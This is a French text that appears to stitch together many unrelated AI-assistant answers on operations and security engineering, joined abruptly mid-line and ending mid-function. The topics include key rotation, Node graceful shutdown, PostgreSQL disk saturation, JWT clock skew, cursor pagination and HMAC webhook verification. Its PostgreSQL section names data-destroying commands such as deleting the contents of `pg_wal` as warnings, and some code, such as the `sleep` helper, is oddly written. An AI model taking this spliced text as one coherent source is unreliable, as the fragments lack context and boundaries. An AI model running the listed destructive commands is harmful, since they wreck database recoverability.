Les phases 2 et 3 ne sont pas permutables non plus, mais pour une raison différente : la phase 3 n'est pas une action, c'est une **contrainte de non-action** qui court pendant toute la durée de vie résiduelle des sessions K1. Elle commence dès la phase 1 et se termine à la phase 4 ; son rang 3 exprime le point où elle devient la seule chose qui protège encore les sessions K1.
## Durée de la fenêtre de drainage
$$\Delta t_{\text{drain}} \ge \text{TTL}_{\max} + \delta_{\text{clock}} + \delta_{\text{propagation}}$$
- $\text{TTL}_{\max}$ : durée de vie maximale d'une session, en incluant tout renouvellement glissant. Si vos sessions se renouvellent en prolongeant l'échéance sans réémettre de signature, $\text{TTL}_{\max}$ peut être non borné : c'est le piège principal, il faut alors un plafond absolu d'âge de session.
- $\delta_{\text{clock}}$ : tolérance de dérive d'horloge entre émetteur et vérificateurs.
- $\delta_{\text{propagation}}$ : délai de convergence du cache de clés sur les réplicas.
Je ne peux pas chiffrer $\Delta t_{\text{drain}}$ sans connaître votre TTL et votre politique de renouvellement.
## Conditions de passage entre phases
Chaque transition doit être **conditionnée par une vérification observable**, non par un simple délai :
- **1 vers 2** : les 3 réplicas exposent K2 en vérification. Contrôle par sonde dédiée sur chaque réplica individuellement, pas via le répartiteur de charge, sinon vous ne testez qu'un réplica au hasard. Un compteur de succès sur les 3 est requis, pas une vérification unique.
- **2 vers 3** : aucun jeton n'est plus émis avec K1. Métrique : taux d'émission par identifiant de clé, à zéro pour K1.
- **3 vers 4** : taux de vérification réussie par K1 à zéro depuis $\Delta t_{\text{drain}}$, et non simplement « faible ». Une valeur résiduelle non nulle signale des sessions encore vivantes ou un client qui rejoue d'anciens jetons.
## Prérequis technique indispensable
Le vérificateur doit sélectionner la clé par un **identifiant de clé transporté dans le jeton** (champ de type `kid` dans l'en-tête), et non essayer les clés en séquence. Deux raisons :
1. L'essai séquentiel masque les erreurs de rotation et rend le rang 3 invérifiable, puisque vous ne savez plus quelle clé a validé quoi.
2. Il ouvre une surface d'attaque par confusion de clé et coûte des vérifications de signature inutiles.
Corollaire de sécurité : le `kid` est une donnée contrôlée par le client. Il doit être validé par liste blanche contre les clés réellement publiées, jamais utilisé pour construire un chemin de fichier ni une requête, et l'algorithme de signature doit être imposé côté serveur, jamais lu depuis le jeton.
## Risques résiduels
- **Rollback impossible après phase 4.** Le retrait de K1 est irréversible si le matériel de clé est détruit. Conservez K1 hors ligne dans le coffre à secrets jusqu'à la clôture de la rotation, avec un point de restauration documenté avant suppression définitive.
- **Cas révocation d'urgence.** Cette séquence est celle d'une rotation planifiée. Si K1 est compromise, l'invariant ci-dessus doit être délibérément violé : on retire K1 immédiatement et l'on accepte l'invalidation des sessions, car la confidentialité et l'authenticité priment alors sur la disponibilité. Ne réutilisez pas cette séquence dans ce cas.
- **Réplica isolé.** Un réplica coupé du canal de distribution pendant la phase 1 restera en retard sans le signaler. La sonde par réplica, et non globale, est la seule protection.
- **Absence de plafond d'âge de session.** Si un renouvellement glissant peut maintenir indéfiniment une session K1, la phase 4 ne converge jamais. À vérifier avant de lancer la rotation.**email → HASH** **session_cookie → DROP** **request_id → KEEP** **status_code → KEEP** Réserve technique, pas une modification de l'ordre demandé : un hachage nu d'adresse e,mail reste réidentifiable par dictionnaire, l'espace des adresses étant énumérable ; une pseudonymisation robuste exige un HMAC à clé secrète (ou un sel conservé hors du journal), avec rotation de clé, faute de quoi le champ demeure une donnée personnelle au sens du RGPD (considérant 26 : la pseudonymisation ne sort pas la donnée du champ du règlement). Le DROP du cookie de session doit être appliqué avant écriture, pas par filtrage en aval, car un secret de session ne doit jamais atteindre le support de journalisation, même transitoirement.
1. method : **KEEP**
2. route : **KEEP**
3. status : **KEEP**
4. user_id : **DROP**
Raison de la seule décision non triviale : `user_id` est non borné (10^7 valeurs), et le nombre de séries temporelles étant multiplicatif, il ferait exploser la cardinalité à environ $|method| \times |route| \times |status| \times 10^{7}$ séries, alors que les trois autres labels restent bornés (verbes HTTP, routes normalisées en gabarits, codes de statut ou classes de statut).## Ordre correct des quatre actions
| Rang | Action | Rôle |
|---|---|---|
| 1 | **Marquer non prêt** (readiness = false) | Faire retirer l'instance du pool de l'équilibreur de charge avant de refuser quoi que ce soit |
| 2 | **Cesser d'accepter** de nouvelles connexions (`server.close()`) | Fermer le socket d'écoute, les connexions déjà établies continuent |
| 3 | **Attendre les requêtes** en cours (les deux requêtes restantes) | Terminer le travail utile sans réponse tronquée |
| 4 | **Fermer les ressources** (pool SQL, Redis, brokers, timers) | Libérer proprement une fois qu'aucun code applicatif n'en a plus besoin |
Fait établi : SIGTERM est interceptable par le processus, contrairement à SIGKILL et SIGSTOP qui ne peuvent pas l'être (Wikipédia FR, article « Signal (informatique) », tableau des signaux POSIX.1-1990). C'est ce qui rend cette séquence possible pendant la fenêtre de 30 s.
Le reste de cet ordre relève du raisonnement d'ingénierie de production, non d'une source encyclopédique que je puisse citer ici : mon encyclopédie locale ne contient pas d'article sur l'arrêt gracieux Node ou les sondes de disponibilité. Je le présente donc comme une recommandation argumentée, non comme un fait sourcé.
## Pourquoi cet ordre, et pas un autre
**1 avant 2, c'est le point critique.** Si vous fermez le listener avant que l'équilibreur ait cessé de router vers vous, les requêtes arrivant dans l'intervalle reçoivent une erreur de connexion. Inverser 1 et 2 est la cause classique des erreurs 502 pendant les déploiements. Il faut même un délai explicite entre les deux, le temps que la sonde échoue et que le retrait se propage.
**3 avant 4.** Fermer le pool de base de données pendant qu'une requête l'utilise encore produit des erreurs applicatives et, si l'écriture n'était pas terminée, des états incohérents.
**Contrainte de temps.** Les 30 s sont un budget dur : à leur expiration, SIGKILL est envoyé et ne peut pas être intercepté (même source). Il faut donc un minuteur interne strictement inférieur, avec sortie forcée. Répartition indicative :
$$T_{\text{propagation}} + T_{\text{drain}} + T_{\text{ressources}} + T_{\text{marge}} \le 30\ \text{s}$$
soit par exemple $3 + 20 + 4 + 3 = 30$ s, avec sortie forcée armée à 27 s. Ces valeurs sont des défauts raisonnables à ajuster selon la durée réelle de vos requêtes p99 et l'intervalle de votre sonde, elles ne sont pas mesurées sur votre système.
## Implémentation Node
```js
// shutdown.js
'use strict';
const GRACE_MS = 27_000; // < 30 s (budget avant SIGKILL)
const READINESS_MS = 3_000; // propagation du retrait au load balancer
const RESOURCES_MS = 4_000; // fermeture des ressources
const state = { ready: true, shuttingDown: false };
function readinessHandler(req, res) {
// Étape 1 : la sonde échoue dès le début de l'arrêt
res.status(state.ready ? 200 : 503).json({ ready: state.ready });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms).unref?.() ?? setTimeout(r, ms));
function withTimeout(promise, ms, label) {
return Promise.race([
promise,
new Promise((_, reject) =>
setTimeout(() => reject(new Error(`timeout: ${label}`)), ms).unref()
),
]);
}
/**
* @param {import('http').Server} server
* @param {Array<{name: string, close: () => Promise<void>}>} resources
* @param {{ info: Function, error: Function }} logger
*/
function installShutdown(server, resources, logger) {
// Suivi des requêtes en vol : indispensable pour l'étape 3
let inFlight = 0;
let drained = null;
let resolveDrained = null;
server.on('request', (req, res) => {
inFlight += 1;
res.on('close', () => {
inFlight -= 1;
if (inFlight === 0 && resolveDrained) resolveDrained();
});
});
// Empêche les connexions keep-alive de survivre au close()
server.keepAliveTimeout = 5_000;
server.headersTimeout = 6_000;
async function shutdown(signal) {
if (state.shuttingDown) return; // idempotent
state.shuttingDown = true;
state.ready = false; // ÉTAPE 1
logger.info({ signal, inFlight }, 'arret gracieux: non pret');
// Filet de sécurité absolu
const hardExit = setTimeout(() => {
logger.error('budget de grace epuise, sortie forcee');
process.exit(1);
}, GRACE_MS);
hardExit.unref();
try {
await sleep(READINESS_MS); // propagation du retrait
// ÉTAPE 2 : plus de nouvelles connexions
await new Promise((resolve) => server.close(() => resolve()));
logger.info('listener ferme');
// ÉTAPE 3 : attendre les requêtes en cours
if (inFlight > 0) {
drained = new Promise((resolve) => { resolveDrained = resolve; });
const budget = GRACE_MS - READINESS_MS - RESOURCES_MS;
await withTimeout(drained, budget, 'drain');
}
logger.info('requetes terminees');
// ÉTAPE 4 : fermeture des ressources
for (const r of resources) {
try {
await withTimeout(r.close(), RESOURCES_MS, r.name);
logger.info({ resource: r.name }, 'ressource fermee');
} catch (err) {
logger.error({ resource: r.name, err: err.message }, 'echec fermeture');
}
}
clearTimeout(hardExit);
process.exit(0);
} catch (err) {
logger.error({ err: err.message }, 'arret degrade');
clearTimeout(hardExit);
process.exit(1);
}
}
process.on('SIGTERM', () => shutdown('SIGTERM'));
process.on('SIGINT', () => shutdown('SIGINT'));
}
module.exports = { installShutdown, readinessHandler, state };
```
Branchement, avec deux ressources typiques :
```js
const resources = [
{ name: 'pg', close: () => pgPool.end() },
{ name: 'redis', close: () => redis.quit() },
];
installShutdown(httpServer, resources, logger);
```
## Vérification
Je n'ai pas exécuté ce code, je ne peux donc pas affirmer qu'il fonctionne : je l'ai raisonné mais non testé. Contrôles à faire de votre côté :
1. Lancer le service, ouvrir deux requêtes lentes (par exemple un point d'entrée qui dort 10 s), envoyer `kill -TERM <pid>`, vérifier que les deux réponses arrivent complètes avec code 200.
2. Pendant l'arrêt, interroger la sonde de disponibilité : elle doit répondre 503 immédiatement.
3. Après `server.close()`, une nouvelle connexion doit être refusée au niveau TCP, non traitée puis annulée.
4. Vérifier dans les journaux que la sortie a lieu avant 30 s, sans passage par la branche « sortie forcée » en fonctionnement normal.
5. Test de charge avec déploiement en parallèle : compter les erreurs 502 et les connexions réinitialisées, la cible étant zéro.
## Risques et limites
- **Requêtes plus longues que le budget.** Si une requête dépasse le temps de drain, elle sera coupée. La parade est un budget de terminaison aligné sur le p99 réel, ou le rejet des requêtes longues vers une file asynchrone.
- **Connexions keep-alive.** `server.close()` n'interrompt pas les connexions persistantes inactives ; sans `keepAliveTimeout` court, le drain peut stagner. Le code ci-dessus le réduit, sans garantie sur tous les clients.
- **Propagation du readiness non instantanée.** Le délai de 3 s est une hypothèse ; le vrai délai dépend de l'intervalle de sonde et du seuil d'échec configurés, que je ne connais pas.
- **Travaux en arrière-plan.** Consommateurs de file, tâches planifiées, requêtes sortantes : ils ne sont pas couverts par le suivi `server.on('request')` et doivent être arrêtés explicitement, sinon vous perdez ou dupliquez des messages.
- **SIGKILL est inévitable à l'échéance** (Wikipédia FR, « Signal (informatique) ») : aucune logique applicative ne peut le retarder, d'où la nécessité du minuteur strictement inférieur au budget.
- **Écritures non idempotentes.** Un arrêt coupé au mauvais moment peut laisser un état partiel ; l'ordre proposé réduit ce risque mais ne le supprime pas, seule l'idempotence côté traitement le fait.dépassement de la limite mémoire du cgroup (512 MiB) : le contrôleur memory déclenche l'OOM killer sur le PID 1 du conteneur, exit 137 = 128 + 9|SIGKILL (9), non interceptable, émis par le noyau et non par l'application|container_memory_working_set_bytes rapporté à la limite (soit memory.current vs memory.max dans le cgroup) avec le compteur memory.events oom_kill, observé en pic p99 et non en moyenne|réduire la consommation réelle (fuite ou rétention, lots et buffers non bornés, cache applicatif sans plafond), aligner le heap du runtime sur la limite du conteneur (par exemple MaxHeapSize ou équivalent < limite, avec marge pour hors-tas et pile natives), puis redimensionner requests et limits sur le working set de pointe mesuré plus une marge, la hausse de la limite seule masquant la cause sans la corriger
## Cadre
Diagnostic implicite : un volume à 100 % avec un moteur qui écrit encore, c'est une situation où le prochain `write` échouera. PostgreSQL, face à une impossibilité d'écrire ses journaux, passe en arrêt d'urgence (PANIC) ; le risque immédiat n'est pas la perte de données commitées, mais l'indisponibilité et une reprise en crash recovery. Deux règles absolues avant tout : **ne jamais supprimer de fichier dans `pg_wal`** (ces fichiers portent les modifications non encore appliquées aux fichiers de données, leur suppression détruit la capacité de retour à un état cohérent après crash, cf. Wikibooks, *PostgreSQL/WAL*), et ne jamais tuer brutalement le processus pour « libérer » quelque chose.
Précision d'honnêteté : je n'ai ni accès à votre serveur ni à vos métriques, donc tout ce qui suit est une procédure à exécuter et à vérifier chez vous, pas un constat.
---
## 1. Protéger les écritures (réduire le débit, pas arrêter le service)
Objectif : gagner du temps sans provoquer l'arrêt non contrôlé.
```bash
# a) Couper la source d'écriture applicative (mode maintenance / lecture seule côté app)
# Alternative serveur, réversible, à chaud :
psql -c "ALTER SYSTEM SET default_transaction_read_only = on;"
psql -c "SELECT pg_reload_conf();"
# b) Arrêter l'écriture des logs sur CE volume : rediriger la journalisation
psql -c "ALTER SYSTEM SET logging_collector = off;" # nécessite restart
psql -c "ALTER SYSTEM SET log_min_duration_statement = -1;"
psql -c "ALTER SYSTEM SET log_statement = 'none';"
psql -c "SELECT pg_reload_conf();" # ces 2 derniers sont pris à chaud
```
Points de vigilance :
- `default_transaction_read_only = on` n'empêche pas les écritures internes (WAL de checkpoint, autovacuum), il tarit seulement le flux applicatif.
- La bascule complète des logs hors du volume demande un redémarrage (changement de `logging_collector` ou de `log_directory`) : c'est une décision d'exploitation, à prendre après l'étape 3 si l'espace regagné suffit à tenir.
- Ne pas suspendre les checkpoints : c'est précisément le `CHECKPOINT` qui rend les anciens WAL supprimables (Wikibooks, *PostgreSQL/WAL*).
---
## 2. Mesurer (identifier le consommateur réel avant d'agir)
```bash
df -h /var/lib/postgresql # espace bloc
df -i /var/lib/postgresql # inodes : un volume peut être "plein" sans octets
du -x -d1 -h $PGDATA | sort -h # répartition interne
du -sh $PGDATA/pg_wal $PGDATA/log $PGDATA/base $PGDATA/pg_stat_tmp
lsof +L1 | grep -i postgres # fichiers supprimés encore ouverts (espace non rendu)
```
Côté instance, les quatre causes qui bloquent le recyclage des WAL :
```sql
-- volume de WAL présent
SELECT count(*), pg_size_pretty(sum(size)) FROM pg_ls_waldir();
-- slots de réplication en retard (retiennent les WAL)
SELECT slot_name, active, restart_lsn,
pg_size_pretty(pg_wal_lsn_diff(pg_current_wal_lsn(), restart_lsn)) AS retenu
FROM pg_replication_slots ORDER BY 4 DESC;
-- archivage en échec (empêche la suppression des WAL)
SELECT archived_count, last_archived_time, failed_count, last_failed_time,
last_failed_wal FROM pg_stat_archiver;
-- paramètres de rétention
SHOW max_wal_size; SHOW min_wal_size; SHOW wal_keep_size; SHOW archive_mode;
```
Justification : la documentation de comportement du moteur indique que `max_wal_size` est une limite **souple**, dépassable silencieusement lorsque la suppression des WAL est empêchée, notamment par un `archive_command` en échec (Wikibooks, *PostgreSQL/WAL*). Un slot de réplication inactif produit le même effet de rétention (mécanisme de rétention par `restart_lsn`, visible dans `pg_replication_slots` ; je le donne comme mécanisme documenté du moteur, à confirmer sur la documentation officielle de votre version majeure, que je ne peux pas consulter ici).
---
## 3. Libérer sans toucher aux données
Par ordre de sûreté décroissante, en s'arrêtant dès que `df -h` redescend sous ~85 %.
**3.1 Logs applicatifs et fichiers hors base (zéro risque de données)**
```bash
# Vider un log SANS le supprimer : rm sur un fichier ouvert ne rend pas l'espace
: > $PGDATA/log/postgresql-<ancien>.log # ou truncate -s 0
find $PGDATA/log -name '*.log' -mtime +7 -exec gzip {} \;
find /var/log -name 'core.*' -o -name '*.core' # examiner avant suppression
```
Le `: >` (troncature) est la manœuvre correcte : sur un fichier encore ouvert par le collecteur, `rm` retire seulement l'entrée de répertoire et l'espace reste retenu jusqu'à fermeture du descripteur, ce que révèle `lsof +L1`. (Comportement POSIX des descripteurs de fichiers ; je l'énonce comme fait technique standard, non extrait de mes sources locales.)
**3.2 Débloquer le recyclage des WAL (la source la plus fréquente)**
- Si `pg_stat_archiver.failed_count` est élevé : réparer la cible d'archivage (montage, droits, espace distant), puis laisser l'archiveur rattraper son retard. Les WAL deviennent supprimables une fois archivés, puis à l'occasion d'un checkpoint (Wikibooks, *PostgreSQL/WAL*).
- Si un slot est inactif et retient des dizaines de gigaoctets :
```sql
SELECT pg_drop_replication_slot('nom_du_slot'); -- DESTRUCTIF pour le réplica
```
Risque résiduel explicite : supprimer un slot condamne le secondaire ou le consommateur logique associé à une resynchronisation complète. Cela exige l'accord de l'exploitant, l'identification nominative du consommateur et la certitude qu'il est bien abandonné. Ce n'est pas une action « sûre » et je ne la classe pas comme telle.
- Puis forcer le recyclage :
```sql
CHECKPOINT;
```
Après un checkpoint, les tampons partagés sont écrits sur disque et les WAL antérieurs sont éligibles à la suppression (Wibooks, *PostgreSQL/WAL* : formulation exacte « all older WAL files are ready to be deleted »).
**3.3 Ce qu'il ne faut PAS faire**
| Tentation | Conséquence |
|---|---|
| `rm $PGDATA/pg_wal/*` | Perte de la capacité de récupération, base potentiellement non redémarrable |
| `pg_resetwal` | Corruption logique silencieuse, réservé au dernier recours d'un expert avec copie froide |
| `VACUUM FULL` / `REINDEX` en urgence | Nécessite de l'espace supplémentaire, aggrave immédiatement la saturation |
| `DROP`/`TRUNCATE` de tables pour faire de la place | Destructif, hors périmètre, aucun accord |
| `tune2fs -m 0` | Récupère la réserve ext4 mais supprime la marge anti-fragmentation ; au mieux un répit de quelques points de pourcentage, à n'employer qu'en dernier ressort et à restaurer ensuite |
**Point de sauvegarde** : avant toute action de la classe 3.2, vérifiez qu'une sauvegarde restaurable existe et est datée (`pg_basebackup` récent, ou sauvegarde PITR validée). Si aucune sauvegarde n'est vérifiable, restez strictement en 3.1 et passez à l'étape 4.
---
## 4. Agrandir
Deux voies, la première étant préférable car sans interruption sur la plupart des piles.
**4.1 Extension du volume à chaud**
```bash
# Après extension du disque côté hyperviseur / cloud / baie
lsblk # vérifier la nouvelle taille brute
growpart /dev/sdX 1 # si partition
pvresize /dev/sdX1 # LVM
lvextend -l +100%FREE /dev/vg_pg/lv_pgdata
resize2fs /dev/vg_pg/lv_pgdata # ext4
# ou
xfs_growfs /var/lib/postgresql # XFS, en ligne uniquement, jamais de réduction
df -h /var/lib/postgresql # contrôle final
```
Notes de sûreté : XFS ne se réduit pas, la décision est irréversible ; `resize2fs` en ligne est supporté pour l'agrandissement. Vérifiez ces comportements sur la documentation de votre distribution, je ne peux pas les attester depuis mes sources locales.
**4.2 Séparer les flux sur des volumes distincts (correctif structurel)**
C'est la vraie réponse au problème posé, puisque logs et données partagent le même volume :
- déplacer `log_directory` vers un volume dédié, ou déléguer à `journald`/syslog distant ;
- déplacer `pg_wal` vers un volume dédié, **instance arrêtée**, par déplacement puis lien symbolique, ou en initialisant avec `initdb --waldir` sur une nouvelle instance ;
- créer un `TABLESPACE` sur un nouveau volume pour les tables et index les plus volumineux.
Rollback prévu : le déplacement de `pg_wal` se fait par copie puis bascule du lien, l'ancien répertoire n'étant supprimé qu'après un démarrage réussi et un `CHECKPOINT` propre.
---
## Verrous de prévention à poser après l'incident
- Alerte à 75 % et 85 % d'occupation, plus une alerte dédiée sur `pg_stat_archiver.failed_count > 0` et sur le retard des slots.
- Rotation des logs bornée en taille totale, pas seulement en durée.
- `max_wal_size` dimensionné en cohérence avec l'espace réellement disponible, en gardant en tête qu'il s'agit d'une limite souple, dépassable si l'archivage échoue (Wikibooks, *PostgreSQL/WAL*).
- Test de restauration périodique : une sauvegarde jamais restaurée n'est pas une sauvegarde vérifiée.
**Limites de cette réponse** : les commandes sont à adapter à votre version majeure, votre système de fichiers et votre gestionnaire de volumes, que je ne connais pas. Les faits sur le cycle de vie des WAL, les checkpoints et l'effet d'un `archive_command` en échec proviennent de Wikibooks, *PostgreSQL/WAL*. Les points d'exploitation système (troncature de fichiers ouverts, `growpart`, `xfs_growfs`) relèvent de la pratique d'ingénierie courante et ne sont pas issus de mes sources locales : vérifiez-les sur la documentation de votre distribution avant exécution en production.d=dérive d'horloge non compensée: écart de 90 s entre les deux serveurs contre une tolérance (leeway) de 30 s, soit 3 fois la marge admise; les bornes temporelles des jetons (iat/nbf/exp) sont donc évaluées dans un référentiel décalé, ce qui produit selon le sens du décalage soit un rejet systématique des jetons valides (nbf/iat perçus dans le futur, ou exp déjà dépassé pour des jetons de durée de vie courte), soit l'acceptation de jetons réellement expirés pendant une fenêtre pouvant atteindre 90 s; c'est un défaut de disponibilité et, dans le second cas, d'intégrité de la validation, pas un défaut cryptographique de signature|c=mesurer l'offset réel et signé des deux horloges par rapport à une même source de référence (état de synchronisation NTP/chrony: stratum, offset, jitter, dernier resync, dérive du dispositif), puis vérifier côté application la valeur exacte de la tolérance configurée, la durée de vie des jetons, la présence et la cohérence des champs iat, nbf et exp, l'usage systématique d'UTC, et enfin corréler les logs de rejet avec les horodatages des deux serveurs pour confirmer que les échecs coïncident avec l'écart mesuré|a=resynchroniser les deux serveurs sur une source de temps commune et fiable (NTP/chrony authentifié, plusieurs pairs, monitoring de l'offset avec alerte au-delà d'un seuil très inférieur à la tolérance), corriger la cause de la dérive (service arrêté, source unique, virtualisation, RTC défectueuse), garder la tolérance à 30 s ou moins sans l'élargir à 90 s (élargir masquerait la panne et rallongerait la fenêtre d'acceptation de jetons expirés), s'assurer que la durée de vie des jetons reste strictement supérieure à l'écart résiduel attendu, et n'accepter la remise en service qu'après vérification de l'offset et rejeu des cas de test; conserver un retour arrière documenté sur la configuration modifiée|v=échec avant correction: la validation temporelle n'est pas fiable, le système doit être considéré comme en défaut et échouer en mode fermé (rejet) plutôt que d'assouplir la tolérance
created_at,id du dernier élément de la page, sérialisés en jeton opaque (base64url) avec created_at en UTC à sa précision de stockage native et id la clé primaire unique|(created_at, id) < (c_last, i_last), développé en SQL portable : `created_at < :c_last OR (created_at = :c_last AND id < :i_last)`, paramétré, jamais concaténé|`ORDER BY created_at DESC, id DESC` sur toute requête et sur la même expression que le prédicat, l'id servant de tie-breaker unique qui rend l'ordre total et déterministe malgré les created_at égaux|inégalité strictement `<` sur le tuple, donc l'élément ancre est exclu : les deux événements de même created_at sont départagés par id et aucun n'est ni dupliqué ni sauté
## 1. Diagnostic préalable sur les données fournies
Le timestamp `1893453000` (secondes Unix) a été décodé dans le laboratoire local :
| Élément | Valeur calculée |
|---|---|
| Timestamp brut | $1893453000$ s |
| Date UTC correspondante | 2029-12-31T23:10:00+00:00 |
| Horloge de référence du laboratoire | 2026-08-30T19:50:45Z |
| Écart $t_{sig} - t_{now}$ | $\approx +1{,}053 \times 10^{8}$ s, soit $\approx 3{,}34$ ans dans le futur |
| Longueur attendue de la signature hex | $64$ caractères ($32$ octets = 256 bits) |
**Conséquence directe : avec toute tolérance usuelle (par exemple $\pm 300$ s), la vérification 1 échoue et le message doit être rejeté sans jamais atteindre le traitement métier.** Ce timestamp est soit un jeu de test, soit une horloge émettrice déréglée, soit une tentative de forger une fenêtre de validité perpétuelle. Je signale ce point car la question suppose implicitement un webhook exploitable, ce que la donnée contredit (calcul effectué avec l'outil python local, sortie reproduite ci-dessus).
Rappel de cadre : un HMAC assure l'intégrité et l'authenticité du message auprès des seuls détenteurs de la clé secrète, la robustesse dépendant de la fonction de hachage et de la clé (article Wikipédia FR « HMAC » ; article Wikipédia FR « Code d'authentification de message »).
---
## 2. Les quatre vérifications, dans l'ordre
### Vérification 1, fraîcheur du timestamp
But : filtrer à coût quasi nul les messages hors fenêtre, avant de dépenser du CPU cryptographique.
- Parser le timestamp en **entier strict** (refuser un flottant, un espace, un signe, une notation exponentielle, une longueur anormale).
- Contrôle **bilatéral** : $|t_{now} - t_{sig}| \le \Delta$, avec $\Delta = 300$ s par défaut (choix par défaut assumé, à aligner sur la documentation de l'émetteur). Un contrôle unilatéral $t_{now} - t_{sig} \le \Delta$ laisserait passer un timestamp futur, exactement le cas présent.
- Tolérance de dérive d'horloge (skew) vers le futur volontairement **plus serrée** que vers le passé, par exemple $+60$ s / $-300$ s.
- Serveur synchronisé NTP, horodatage interne en UTC monotone pour la journalisation.
- Rejet : HTTP 400, corps sans détail exploitable, journalisation du delta mais **jamais** de la signature ni de la clé.
Limite honnête à énoncer : à ce stade le timestamp n'est **pas authentifié**. Il est inclus dans les données signées, donc son intégrité n'est cryptographiquement établie qu'après la vérification 3. La vérification 1 est ici un **pré-filtre anti-déni de service**, pas une preuve. Le verdict de fraîcheur ne devient digne de confiance qu'une fois la vérification 3 réussie ; certaines implémentations la rejouent après le MAC, ce qui est plus rigoureux et peu coûteux.
### Vérification 2, corps brut
But : garantir que les octets vérifiés sont exactement les octets signés.
- Lire le corps **en octets bruts**, avant tout parsage. Interdiction absolue de vérifier la signature sur un JSON désérialisé puis ré-sérialisé : l'ordre des clés, les espaces, l'échappement Unicode et la normalisation des nombres modifient les octets et cassent le MAC (ou, pire, invitent à contourner la vérification).
- Aucune transformation intermédiaire : pas de recodage de charset, pas de décompression silencieuse non prévue, pas de normalisation de fins de ligne, pas de réécriture par un proxy ou un middleware. Si un reverse proxy réécrit le corps, la vérification est structurellement impossible.
- **Limite de taille stricte** avant lecture complète (par exemple 1 MiB, valeur par défaut à ajuster) pour éviter l'épuisement mémoire.
- Rejeter un `Content-Length` incohérent, un corps tronqué, un corps vide si le contrat l'exclut.
- Construire le message signé de façon **canonique et non ambiguë** : `octets_du_timestamp || "." || B`. Le séparateur explicite est essentiel : sans lui, la concaténation serait ambiguë et deux couples (timestamp, corps) distincts pourraient produire le même message signé.
- Ne parser le JSON qu'**après** la vérification 3.
### Vérification 3, vérification du MAC
But : établir l'authenticité et l'intégrité.
- Recalculer $\text{HMAC-SHA256}(K,\ ts \,\|\, \texttt{"."} \,\|\, B)$ avec la clé secrète du point de terminaison, issue d'un coffre à secrets, jamais du code source ni d'un log.
- Contrôler la **forme** de la signature reçue : hexadécimal strict, longueur exactement $64$ caractères, décodage sans exception. Comparaison insensible à la casse en normalisant les deux côtés.
- **Comparaison à temps constant** obligatoire (`hmac.compare_digest`), jamais `==` sur les chaînes, pour ne pas fuir d'information par canal temporel.
- Gérer la **rotation de clés** : si plusieurs secrets sont actifs, tester chaque candidat, accepter si l'un correspond, sans court-circuit révélateur.
- Si l'émetteur envoie plusieurs signatures (multi-secrets), accepter dès qu'une seule est valide, mais compter les échecs.
- Rejet : HTTP 401 ou 403, message générique, incrémentation d'un compteur d'alerte par source. Ne jamais renvoyer la signature attendue.
Formulation correcte du niveau de garantie : une concordance de MAC n'est pas une preuve mathématique absolue d'authenticité, puisqu'une contrefaçon reste théoriquement possible ; c'est une **assurance cryptographique très forte sous les hypothèses de sécurité de HMAC-SHA-256 et à condition que la clé soit restée secrète** (cadre posé par l'article Wikipédia FR « HMAC », qui rappelle que la qualité du HMAC dépend de la fonction de hachage, de la taille et de la qualité de la clé).
### Vérification 4, anti-rejeu
But : un message authentique et frais reste rejouable tant qu'il est dans la fenêtre $\Delta$. La fraîcheur borne la fenêtre, elle n'interdit pas le rejeu.
- Clé d'unicité : l'identifiant d'événement fourni par l'émetteur s'il existe et s'il est **inclus dans les données signées** ; à défaut, l'empreinte du couple signé, par exemple $\text{SHA256}(ts \,\|\, \texttt{"."} \,\|\, B)$, ou la signature elle-même.
- **Insertion atomique** en base avec contrainte d'unicité, ou `SET NX` dans un cache distribué : c'est l'insertion qui décide, pas un `SELECT` préalable (sinon course entre deux répliques). Une violation de contrainte d'unicité signifie « déjà vu », donc réponse 200 idempotente sans retraitement.
- TTL de conservation $\ge \Delta$, avec marge confortable (par exemple 24 h) pour couvrir les rejeux tardifs et les incidents d'horloge.
- Traitement métier **idempotent** de bout en bout : même si le garde-fou échoue, l'effet métier doit rester identique après N livraisons.
- Journaliser le rejeu détecté (compteur, source), sans le secret ni le corps intégral s'il contient des données personnelles.
---
## 3. Implémentation de référence
Code non exécuté dans cette réponse pour la partie FastAPI et Redis (seuls le décodage du timestamp, la forme du payload signé et la comparaison à temps constant ont été exécutés dans le laboratoire local, sortie reproduite en section 1). Je le signale explicitement.
```python
# webhook_verify.py
# Verification de webhook : fraicheur -> corps brut -> MAC -> anti-rejeu.
# Dependances : fastapi, uvicorn, redis (client sync ou async selon deploiement).
from __future__ import annotations
import hashlib
import hmac
import logging
import os
import time
from dataclasses import dataclass
from fastapi import APIRouter, Header, HTTPException, Request, status
logger = logging.getLogger("webhook")
# --- Configuration (valeurs par defaut assumees, a ajuster au contrat emetteur) ---
MAX_BODY_BYTES = 1 * 1024 * 1024 # 1 MiB
TOLERANCE_PAST_S = 300 # 5 min de retard tolerees
TOLERANCE_FUTURE_S = 60 # derive d'horloge future, plus serree
REPLAY_TTL_S = 24 * 3600 # >> tolerance de fraicheur
SIG_HEX_LEN = 64 # HMAC-SHA256 = 32 octets = 64 hex
class WebhookRejected(Exception):
"""Rejet controle, sans fuite de detail vers l'appelant."""
def __init__(self, reason: str, http_status: int) -> None:
super().__init__(reason)
self.reason = reason
self.http_status = http_status
@dataclass(frozen=True)
class Secrets:
"""Secrets actifs, charges depuis un coffre. Jamais en dur, jamais logges."""
active: tuple[bytes, ...]
@staticmethod
def from_env() -> "Secrets":
raw = os.environ.get("WEBHOOK_SECRETS", "")
keys = tuple(k.encode("utf-8") for k in raw.split(",") if k)
if not keys:
raise RuntimeError("WEBHOOK_SECRETS absent : refus de demarrer (fail closed).")
return Secrets(active=keys)
# ---------------------------------------------------------------- 1. FRAICHEUR
def check_freshness(timestamp_header: str, now: float | None = None) -> int:
now = time.time() if now is None else now
ts_raw = timestamp_header.strip()
if not ts_raw.isdigit() or len(ts_raw) > 12:
raise WebhookRejected("timestamp_malforme", status.HTTP_400_BAD_REQUEST)
ts = int(ts_raw)
delta = now - ts # >0 : passe ; <0 : futur
if delta > TOLERANCE_PAST_S:
raise WebhookRejected("timestamp_trop_ancien", status.HTTP_400_BAD_REQUEST)
if -delta > TOLERANCE_FUTURE_S:
raise WebhookRejected("timestamp_dans_le_futur", status.HTTP_400_BAD_REQUEST)
return ts
# -------------------------------------------------------------- 2. CORPS BRUT
async def read_raw_body(request: Request) -> bytes:
declared = request.headers.get("content-length")
if declared is not None:
try:
if int(declared) > MAX_BODY_BYTES:
raise WebhookRejected("corps_trop_grand", status.HTTP_413_REQUEST_ENTITY_TOO_LARGE)
except ValueError:
raise WebhookRejected("content_length_invalide", status.HTTP_400_BAD_REQUEST)
chunks, total = [], 0
async for chunk in request.stream():
